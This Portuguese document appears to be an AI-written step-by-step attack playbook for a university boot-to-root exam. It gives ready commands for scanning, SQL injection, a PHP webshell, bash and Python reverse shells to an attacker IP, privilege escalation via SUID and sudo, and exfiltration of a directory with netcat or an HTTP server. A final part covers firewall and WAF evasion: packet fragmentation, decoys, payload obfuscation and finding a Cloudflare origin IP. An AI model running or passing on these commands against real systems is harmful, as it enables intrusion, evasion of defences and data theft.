Essa é uma prova clássica de **CTF (Capture the Flag)** no estilo *Boot-to-Root*.

Se o
diretório com o seu nome está no servidor e você precisa copiá-lo, o seu objetivo final é obter
privilégios administrativos (Root/SYSTEM) ou, pelo menos, o privilégio do usuário dono da
pasta para ler e compactar esses dados.

Para garantir essa metade da nota, você precisa de um **método estruturado**. Não saia
atirando para todos os lados. Foque na metodologia padrão de testes de invasão:

## 1. Reconhecimento e Varredura (A Chave de Tudo)

O maior erro em provas práticas é tentar explorar algo sem entender o terreno. Descubra
exatamente o que está rodando no servidor.

* **Varredura Inicial:** Descubra as portas abertas e os serviços reais (com as versões exatas).

```bash

nmap -sV -sC -Pn -p- <IP_DO_SERVIDOR> -oN varredura_inicial.txt

```

* -sV: Detecta versões dos serviços (crucial para buscar exploits).

* -sC: Roda os scripts padrão do Nmap (pode encontrar vulnerabilidades óbvias de cara).

* -p-: Vasculha todas as 65535 portas. Não assuma que o alvo está apenas na 80 ou 22.

## 2. Análise de Vetores de Ataque Comuns

Dependendo do que o Nmap retornar, suas rotas mais prováveis serão:

### Se houver um Web Server (Portas 80, 443, 8080)

Provas de faculdade adoram aplicações web vulneráveis como porta de entrada.

* **Enumeração de Diretórios:** Use ferramentas como Gobuster, Dirb ou Feroxbuster para

encontrar páginas ocultas, painéis de login ou arquivos de backup (.bak, .zip, .old).

```bash

gobuster dir -u [Link] -w /usr/share/wordlists/dirb/[Link]

```

* **Busque por Injeções:** Se houver campos de entrada ou parâmetros na URL, teste para
**SQL Injection (SQLi)** ou **Local File Inclusion (LFI)** (para tentar ler arquivos como
/etc/passwd).

* **Upload de Arquivos:** Se a aplicação permitir upload de imagens ou documentos, teste se

ela aceita uma **Webshell** (em PHP, ASP, etc.) para te dar execução de comandos remotos
(RCE).

### Se houver Serviços Antigos/Desatualizados (SSH, FTP, SMB, SMTPS)

* **Versões Vulneráveis:** Pegue o nome e a versão do serviço que o Nmap encontrou (ex:
*Apache Tomcat 9.0.x*) e jogue direto no searchsploit ou no Google atrás de RCEs públicos.

* **Credenciais Padrão/Fracas:** Se houver um painel administrativo, SSH ou FTP aberto,

tente logins óbvios (admin:admin, root:root) ou uma força bruta rápida com Hydra usando uma
wordlist curta (como a [Link]). Não gaste muito tempo com brute force longo, pois provas
costumam focar em falhas lógicas ou de software.

## 3. Ganhando o Acesso Inicial (Exploitation)

Assim que identificar uma vulnerabilidade (seja um exploit público no ExploitDB ou uma
Webshell que você subiu):

* **Estabilize sua Shell:** Se você conseguir uma conexão reversa (Reverse Shell), ela
provavelmente será instável. Melhore-a imediatamente para não perder o acesso se apertar
Ctrl+C sem querer:

```bash

python3 -c 'import pty; [Link]("/bin/bash")'

# Pressione Ctrl+Z para pausar a shell

stty raw -echo; fg

# Pressione Enter

export TERM=xterm

```

## 4. Escalação de Privilégios (PrivEsc)

Você entrou no servidor, mas provavelmente como um usuário de baixa permissão (como
www-data). Agora você precisa virar root para garantir acesso ao seu diretório.

* **Automatize a busca por falhas internas:** Baixe e rode scripts de enumeração local
imediatamente. Eles vão te apontar o caminho do ouro (senhas em texto limpo, arquivos
confidenciais, permissões erradas).

* Para Linux: **LinPEAS** ou **Linux Smart Enumeration ([Link])**.

* Para Windows: **WinPEAS**.

* **O que procurar manualmente:**

* **SUID Binaries:** Arquivos que rodam com permissão de root. Rode find / -perm -u=s
-type f 2>/dev/null e cruze os resultados com o site **GTFOBins** para ver se algum deles
permite virar root.

* **Crontabs:** Tarefas agendadas que rodam como root e que você tem permissão de
editar.
 * **Kernel Exploits:** Se o sistema operacional for muito antigo, um exploit de kernel (como
*Dirty COW* ou similares) pode te dar root direto (use com cautela para não derrubar o
servidor).

## 5. Exfiltração (Copiando o seu Diretório)

Uma vez que você localizou seu diretório e tem permissão para lê-lo:

1. **Compacte a pasta** para facilitar o transporte:

```bash

tar -czvf minha_prova.[Link] /caminho/do/seu_diretorio

```

2. **Transfira para a sua máquina de ataque:**

* *Opção 1 (Python HTTP Server):* No servidor da faculdade, rode python3 -m [Link]

9000 dentro da pasta onde está o arquivo compactado. Na sua máquina, acesse
[Link] pelo navegador ou via wget.

* *Opção 2 (SCP):* Se as credenciais de SSH permitirem:

```bash

scp usuario@<IP_DO_SERVIDOR>:/caminho/minha_prova.[Link] ./

```

* *Opção 3 (Netcat):* Na sua máquina, fique ouvindo: nc -l -p 1234 > minha_prova.[Link]. No

servidor: nc <SEU_IP> 1234 < minha_prova.[Link].

## 💡 Dicas de Ouro para a Prova:

* **Anote TUDO:** Mantenha um bloco de notas aberto. Copie IPs, portas, senhas
encontradas, caminhos de diretórios e os comandos que funcionaram. Se você perder a shell
no meio da prova, conseguirá refazer o caminho em 2 minutos.

* **Gerencie o tempo:** Se ficar preso em um serviço por mais de 15-20 minutos sem
nenhum progresso, mude de foco. O vetor de ataque pode estar em outra porta.

* **Não invente moda:** Provas acadêmicas costumam usar vulnerabilidades conhecidas e

documentadas (OWASP Top 10, exploits famosos do ExploitDB). Foque no feijão com arroz bem
feito.

Boa sorte. Mantenha a calma, siga a metodologia e a nota será sua.

Para garantir que você não perca nenhum detalhe durante a prova, vamos estruturar o arsenal
completo. Abaixo está o detalhamento minucioso de cada fase, os métodos teóricos, os
softwares exatos que você deve usar (a maioria já vem nativa no **Kali Linux** ou **Parrot
OS**) e as linhas de comando precisas para a execução.
## Fase 1: Reconhecimento e Varredura Ativa

O objetivo aqui é mapear a superfície de ataque do servidor sem deixar nenhuma porta para
trás.

### 1.1 Varredura de Portas e Serviços

* **Software:** nmap (Network Mapper)

* **Método:** Executar uma varredura abrangente em duas etapas para economizar tempo.
Primeiro, descobrimos as portas abertas rapidamente; depois, investigamos a fundo apenas as
portas ativas.

* **Comandos:**

```bash

# Etapa 1: Varredura rápida em todas as portas (65535) para achar as abertas

nmap -p- --min-rate 5000 -Pn <IP_ALVO> -oN portas_abertas.txt

# Etapa 2: Varredura profunda com scripts específicos (-sC) e detecção de versão (-sV) apenas
nas portas encontradas (Ex: 22,80,443,8080)

nmap -sC -sV -p 22,80,443,8080 <IP_ALVO> -oN servicos_detalhados.txt

```

### 1.2 Enumeração Web (Se houver portas 80, 443, 8080, 8181)

Se o Nmap apontar um serviço HTTP/HTTPS, você precisa encontrar diretórios ocultos que não
estão linkados na página principal.

* **Software:** gobuster ou feroxbuster (o Feroxbuster é extremamente rápido e recursivo).

* **Wordlists Recomendadas:** /usr/share/wordlists/dirb/[Link] ou

/usr/share/wordlists/dirbuster/[Link].

* **Comandos:**

```bash

# Usando Gobuster para buscar diretórios e extensões de arquivos comuns (.php, .html, .txt,
.bak)

gobuster dir -u [Link] -w /usr/share/wordlists/dirb/[Link] -x

php,html,txt,bak,zip -o [Link]

# Usando Feroxbuster (alternativa automática e rápida)

feroxbuster -u [Link] -x php,txt,bak,json

 ```

### 1.3 Enumeração de Subdomínios / Vhosts

Às vezes, a aplicação web principal é segura, mas o professor configurou um subdomínio (ex:
[Link]) no mesmo IP.

* **Software:** ffuf (Fuzz Faster U Fool)

* **Comando:**

```bash

ffuf -w /usr/share/wordlists/amass/[Link] -u [Link] -H

"Host: [Link]" -fs <tamanho_resposta_falsa_comum>

```

## Fase 2: Análise de Vulnerabilidades e Exploração

Com os serviços e versões em mãos, o próximo passo é encontrar a brecha de entrada.

### 2.1 Busca por Exploits Públicos

* **Software:** searchsploit (interface de linha de comando para o *Exploit Database*) ou o

próprio Google/GitHub.

* **Método:** Pesquisar pela versão exata do software encontrada no Nmap (Ex: *OpenSSH
7.2p2* ou *Apache Tomcat 9.0.37*).

* **Comandos:**

```bash

# Buscar exploits para uma versão específica

searchsploit apache tomcat 9.0

# Copiar o arquivo do exploit encontrado para o seu diretório atual (Ex: exploit ID 42567)

searchsploit -m 42567

```

### 2.2 Exploração de Vulnerabilidades Web Específicas

* **SQL Injection (SQLi):** Se encontrar parâmetros expostos na URL ou formulários de login

baseados em banco de dados.

* **Software:** sqlmap

* **Comando:**

```bash
 # Testar uma URL vulnerável e tentar extrair credenciais

sqlmap -u "[Link] --dbs --batch

```

* **Local File Inclusion (LFI):** Se a URL incluir arquivos locais (ex: page=[Link]). Tente ler
arquivos do sistema.

* **Método Manual:** Mude o parâmetro para tentar ler o arquivo de usuários do Linux:
[Link] ou o arquivo de configuração para
descobrir senhas.

### 2.3 Subindo uma Webshell (Se houver upload de arquivos)

Se o site permitir o upload de um arquivo, você pode subir um script que executa comandos no
servidor.

* **Software:** Editor de texto (nano) para criar a shell.

* **Código da Webshell PHP Básica (salve como [Link]):**

```php

<?php system($_GET['cmd']); ?>

```

* **Método:** Suba o arquivo e acesse pelo navegador:

[Link] Se responder com o nome do usuário do
servidor (ex: www-data), você tem Execução Remota de Código (RCE).

## Fase 3: Ganho de Acesso e Estabilização da Shell

A Webshell via navegador é limitada. Você precisa de uma conexão direta voltada para o seu
terminal (Reverse Shell).

### 3.1 Preparando o Receptor na Sua Máquina

Antes de executar o comando no servidor alvo, você precisa colocar sua máquina para escutar
a conexão que vai chegar.

* **Software:** nc (Netcat)

* **Comando (Na sua máquina de ataque):**

```bash

nc -lvnp 4444

```

### 3.2 Executando o Gatilho (No Servidor Alvo)

Envie o comando de reverse shell através da Webshell que você conseguiu na Fase 2.

* **Software/Linguagem:** bash ou python3.

* **Comandos comuns de Reverse Shell (substitua pelo seu IP de ataque):**

```bash

# Opção com Bash (mais comum em Linux)

bash -i >& /dev/tcp/<SEU_IP_DE_ATAQUE>/4444 0>&1

# Opção com Python3 (se o Bash falhar)

python3 -c 'import
socket,subprocess,os;s=[Link](socket.AF_INET,socket.SOCK_STREAM);[Link](("<SEU
_IP_DE_ATAQUE>",4444));os.dup2([Link](),0);
os.dup2([Link](),1);os.dup2([Link](),2);import pty;[Link]("/bin/bash")'

```

### 3.3 Estabilização da Shell (TTY Upgrade)

A shell inicial do Netcat é "burra" (não aceita setas do teclado, Ctrl+C fecha a conexão, etc.).
Você precisa transformá-la em uma TTY completa.

* **Comandos sequenciais (dentro da shell que você acabou de receber):**

```bash

# Passo 1: Invocar o interpretador de terminal do Python

python3 -c 'import pty; [Link]("/bin/bash")'

# Passo 2: Mandar a shell para o background (Pressione Ctrl + Z no teclado)

# O terminal vai voltar para a sua máquina local temporariamente.

# Passo 3: Configurar o terminal local para passar os comandos brutos

stty raw -echo; fg

# [Pressione ENTER duas vezes após digitar o comando acima]

# Passo 4: Definir a variável de ambiente para habilitar cores e comandos como 'clear'

export TERM=xterm
 ```

## Fase 4: Escalação de Privilégios (PrivEsc)

Geralmente, você entra como www-data (usuário do servidor web) ou um usuário comum.
Para ler diretórios de outros usuários ou do sistema, você precisa virar administrador (root).

### 4.1 Enumeração Automatizada do Sistema

* **Software:** LinPEAS (Linux Premium Elevation of Privilege Assistant).

* **Método:** Transferir o script para a máquina alvo e executá-lo. Ele vai colorir de
vermelho/amarelo tudo o que for uma falha grave de configuração.

* **Comandos (Na sua máquina de ataque para servir o arquivo):**

```bash

# Vá até a pasta onde está o [Link] e suba um servidor web rápido

python3 -m [Link] 80

```

* **Comandos (Na máquina alvo, dentro da sua shell estabilizada):**

```bash

cd /tmp

wget [Link]

chmod +x [Link]

./[Link] > resultado_peas.txt

# Use o 'less -r' para ler o arquivo mantendo as cores das dicas

less -r resultado_peas.txt

```

### 4.2 Vetores Manuais de PrivEsc (Caso o LinPEAS aponte)

* **Binários SUID mal configurados:** Arquivos que rodam com privilégio do dono (root), mas
que podem ser abusados.

* **Comando de busca:** find / -perm -u=s -type f 2>/dev/null

* **O que fazer:** Se encontrar binários como find, vim, bash, nano ou cp na lista, vá
imediatamente ao site **GTFOBins** ([Link] digite o nome do binário e
siga a instrução exata para ganhar privilégio de root.

* **Permissões do comando Sudo:** Verificar o que o seu usuário atual pode rodar como
administrador sem precisar digitar senha.
 * **Comando:** sudo -l

* **Ação:** Se o resultado mostrar algo como (ALL : ALL) NOPASSWD: /usr/bin/python3,

você pode virar root instantaneamente digitando: sudo python3 -c 'import os;
[Link]("/bin/bash")'.

## Fase 5: Localização e Exfiltração dos Dados (O Objetivo da Prova)

Uma vez que você escalou privilégios (ou se o usuário inicial já tiver acesso à sua pasta), você
precisa encontrar o diretório com o seu nome, empacotar e trazer para a sua máquina real.

### 5.1 Localizando o Diretório

* **Software:** find

* **Comando:**

```bash

# Busca a partir da raiz (/) por diretórios (-type d) com o seu nome (substitua 'SeuNome')

find / -type d -name "*SeuNome*" 2>/dev/null

```

### 5.2 Compactando a Pasta (Indispensável para não corromper arquivos)

* **Software:** tar (nativo no Linux).

* **Comando (Supondo que a pasta foi achada em /home/prof/SeuNome):**

```bash

tar -czvf /tmp/dados_prova.[Link] /home/prof/SeuNome

```

### 5.3 Exfiltrando (Trazendo o arquivo compactado para a sua máquina)

#### Método A: Via Servidor HTTP do Python (Mais prático)

* **No Servidor Alvo:**

```bash

cd /tmp

python3 -m [Link] 9999

```

* **Na Sua Máquina de Ataque (Abra um novo terminal):**

```bash
 wget [Link]

```

#### Método B: Via Netcat Puro (Se o servidor alvo bloquear conexões de entrada na porta
9999 por firewall)

* **Na Sua Máquina de Ataque (Prepare o receptor antes):**

```bash

nc -l -p 5555 > resultado_prova.[Link]

```

* **No Servidor Alvo (Envia o arquivo em direção à sua máquina):**

```bash

nc <SEU_IP_DE_ATAQUE> 5555 < /tmp/dados_prova.[Link]

```

Pronto. Com esse checklist exato e os comandos anotados, você cobre desde a varredura inicial
até a entrega do arquivo na sua máquina de ataque. Concentre-se em identificar corretamente
as versões dos serviços e use o **GTFOBins** se encontrar qualquer brecha de privilégio local.

Passar por um **Firewall de Próxima Geração (NGFW)** ou um **WAF (Web Application

Firewall)** em um ambiente de teste de invasão exige uma abordagem metodológica e
silenciosa. Firewalls modernos não apenas barram conexões com base em portas (Camada 3 e
4), mas também analisam o comportamento e o conteúdo dos pacotes (Camada 7 - Aplicação).

Abaixo está o guia passo a passo, detalhado e extenso, dividindo o processo em duas grandes
macrofases: **Detecção (Fingerprinting)** e **Evasão (Bypass)**.

## PARTE 1: Detecção de Nome e Versão do Firewall (Fingerprinting)

Antes de tentar burlar um dispositivo de segurança, você precisa saber exatamente o que está
enfrentando. Tentar técnicas de evasão às cegas vai gerar alertas massivos nos logs do
administrador.

### 1.1 Detecção de Firewalls de Rede (Camada 3/4)

Firewalls de rede tradicionais ou NGFWs (como Fortinet, Palo Alto, Check Point) costumam
revelar sua presença pela forma como manipulam pacotes modificados ou conexões
bloqueadas.

#### Método A: Análise de Resposta de Portas com Nmap

O nmap consegue inferir a presença de um firewall observando o estado das portas (filtered) e
o comportamento do protocolo IP.

* **Software:** nmap

* **Comando:**

```bash

nmap -sS -p 22,80,443,3389 --reason <IP_ALVO>

```

* **Análise do Resultado:** Se o campo REASON retornar no-response, significa que os

pacotes foram descartados (*Drop*). Se retornar admin-prohibited ou host-unreachable
acompanhado de um pacote ICMP do tipo 3, um firewall barrou explicitamente a conexão.

#### Método B: Mapeamento de Rota e Identificação de Saltos

Muitas vezes o firewall atua como um gateway intermediário. Podemos identificar onde o
pacote é retido ou modificado.

* **Software:** traceroute (Linux) ou tracert (Windows) / nmap --traceroute

* **Comando:**

```bash

nmap -sn --traceroute <IP_ALVO>

```

* **Análise do Resultado:** O último salto (*hop*) que responde antes do alvo final
geralmente é o firewall periférico da rede. Investigar o IP desse salto intermediário pode
revelar o fabricante do equipamento.

### 1.2 Detecção de Web Application Firewalls - WAF (Camada 7)

Os WAFs protegem aplicações web analisando requisições HTTP/HTTPS. Eles são mais fáceis de
identificar porque frequentemente alteram os cabeçalhos das respostas ou injetam cookies
específicos.

#### Método A: Automatizado com wafw00f

Esta é a ferramenta padrão para identificar mais de 100 WAFs diferentes (como Cloudflare,
Imperva, ModSecurity, F5 BIG-IP).

* **Software:** wafw00f (Nativo no Kali Linux)

* **Método:** A ferramenta envia requisições HTTP normais e, em seguida, envia

provocações maliciosas intencionais (como um ataque de XSS óbvio) para ver como o alvo
responde.

* **Comando:**
 ```bash

wafw00f [Link]

```

* **Exemplo de Saída Esperada:**

> [*] The site [Link] is behind Cloudflare WAF.

>

#### Método B: Inspeção Manual de Cabeçalhos HTTP (Análise de Assinatura)

Se você não puder usar ferramentas automatizadas, inspecione os cabeçalhos de resposta

HTTP enviados pelo servidor.

* **Software:** curl ou *Burp Suite*

* **Comando:**

```bash

curl -I -A "Mozilla/5.0" [Link]

```

* **O que procurar nos cabeçalhos (Headers):**

* **Cloudflare:** Procura por cabeçalhos CF-Ray: ..., server: cloudflare ou o cookie __cfduid.

* **F5 BIG-IP ASM:** Procura por cookies que começam com TS (ex: TS01a5e4d2).

* **AWS WAF:** Cabeçalhos contendo X-AMZN-Remapped-Server ou respostas estruturadas

da AWS.

* **ModSecurity:** Respostas com o servidor exibindo Server: ModSecurity ou códigos de

erro HTTP 406 Not Acceptable ou 403 Forbidden com páginas customizadas de bloqueio.

## PARTE 2: Métodos de Evasão e Passagem (Bypass)

Uma vez identificado o tipo de firewall, aplicam-se as técnicas para passar por ele. O princípio
básico da evasão é a **fragmentação**, a **ofuscação** ou o **abuso de confiança**.

### 2.1 Evasão de Firewalls de Rede (Nmap Avançado)

Se o firewall bloqueia varreduras comuns, você precisa modificar a estrutura dos pacotes
IP/TCP para confundir as tabelas de estado (Stateful Inspection) do dispositivo.

#### Técnica 1: Fragmentação de Pacotes

Consiste em dividir o cabeçalho TCP em pedaços minúsculos espalhados por vários pacotes IP.
Firewalls mais antigos ou mal configurados não conseguem remontar os pacotes na memória
antes de tomar a decisão de bloqueio.

* **Comando:**
 ```bash

nmap -f -sS -p 80,443 <IP_ALVO>

```

* O argumento -f fragmenta os pacotes em pedaços de 8 bytes após o cabeçalho IP. Para

fragmentar ainda mais (pedaços de 16 bytes), use -ff.

#### Técnica 2: Modificação do Tamanho do MTU (Maximum Transmission Unit)

Força o pacote a ter um tamanho específico preenchido com dados aleatórios (*padding*) para
passar por regras de inspeção baseadas em tamanho fixo de assinatura.

* **Comando:**

```bash

nmap --mtu 24 -sS <IP_ALVO>

```

* *Nota:* O número do MTU deve ser sempre múltiplo de 8 (8, 16, 24, 32, etc.).

#### Técnica 3: Spoofing de Porta de Origem (Source Port)

Muitos administradores configuram firewalls permitindo cegamente qualquer tráfego que

venha de portas de serviços conhecidos (como DNS ou FTP), assumindo que é uma resposta
legítima de rede.

* **Comando:**

```bash

nmap --source-port 53 -sS <IP_ALVO>

```

* Aqui, emulamos que a nossa varredura está saindo da porta 53 (DNS). Se o firewall for
permissivo com tráfego DNS vindo de fora, os pacotes passarão diretamente.

#### Técnica 4: Uso de Iscas (Decoys)

Essa técnica não impede o bloqueio, mas mascara o seu endereço IP real no meio de dezenas
de outros IPs falsos, tornando impossível para o firewall ou para o administrador saber quem
realmente está atacando.

* **Comando:**

```bash

nmap -D RND:10 -sS <IP_ALVO>

 ```

* -D RND:10: Gera 10 endereços IP aleatórios e legítimos na rede que parecerão estar

varrendo o alvo simultaneamente com você.

### 2.2 Evasão de WAF (Web Application Firewall)

WAFs barram padrões de texto conhecidos (como UNION SELECT em SQL ou <script> em XSS).
Para passar, precisamos alterar a sintaxe sem quebrar a execução do código na aplicação web
final.

#### Técnica 1: Ofuscação de Codificação (Encoding)

A aplicação web decodifica o texto antes de processá-lo, mas o WAF pode inspecionar apenas o
texto bruto da requisição HTTP.

* **URL Encoding Duplo:** Se o WAF barra a palavra admin, tente codificar os caracteres duas
vezes.

* Letra a em URL encode: %61

* Letra a em Double URL encode: %2561

* **Sintaxe de payload:** Em vez de usar espaços normais em injeções SQL (que o WAF
detecta facilmente), use comentários de linha multipla do SQL:

* *Payload bloqueado:* UNION SELECT username, password FROM users

* *Payload emulado/evasivo:*
UNION/**/SELECT/**/username,/**/password/**/FROM/**/users

#### Técnica 2: Alternância de Caixa (Case Changing)

WAFs baseados em assinaturas de Regex mal escritas podem ser burlados simplesmente
alternando maiúsculas e minúsculas.

* *Bloqueado:* <script>alert(1)</script>

* *Bypass:* <sCrIpt>AlErT(1)</ScRiPt>

#### Técnica 3: HTTP Parameter Pollution (HPP)

Consiste em enviar o mesmo parâmetro várias vezes na mesma requisição HTTP. Dependendo
de como o servidor web (Apache, IIS, Nginx) e o WAF interpretam essa duplicidade, o WAF
pode ler apenas a primeira parte segura, enquanto a aplicação executa a segunda parte
maliciosa.

* **Exemplo de URL poluída:**

```text

[Link]

```

## 2.3 Engenharia Reversa de Infraestrutura: Ignorando o WAF (O método definitivo)

A forma mais eficaz de passar por um firewall de aplicação baseado em nuvem (como
Cloudflare ou Akamai) é **encontrar o IP real do servidor de origem**.

Se você descobrir o IP real da máquina onde o site está hospedado na faculdade ou na nuvem,
você pode configurar o seu navegador ou ferramentas para atacar diretamente esse IP,
ignorando completamente a proteção do firewall intermediário.

### Como encontrar o IP real por trás do Firewall:

1. **Histórico de DNS (DNS History):** Use serviços como *[Link]* ou *SecurityTrails*

para ver quais IPs esse domínio possuía antes de o firewall ser instalado.

2. **Certificados SSL/TLS:** Use o site *Censys* ou *Shodan* pesquisando pelo nome do

domínio. Muitas vezes, o IP real do servidor possui o certificado SSL instalado e fica visível na
varredura pública dessas ferramentas.

3. **Emails gerados pelo servidor:** Se a aplicação web tiver uma função de "Esqueci minha
senha" ou "Cadastro de Usuário", faça o site enviar um e-mail para você. Abra o código-fonte
do e-mail recebido (*View Raw / Ver cabeçalhos*) e procure pelo campo Received: from. O IP
que despachou o e-mail geralmente é o IP real e desprotegido do servidor web.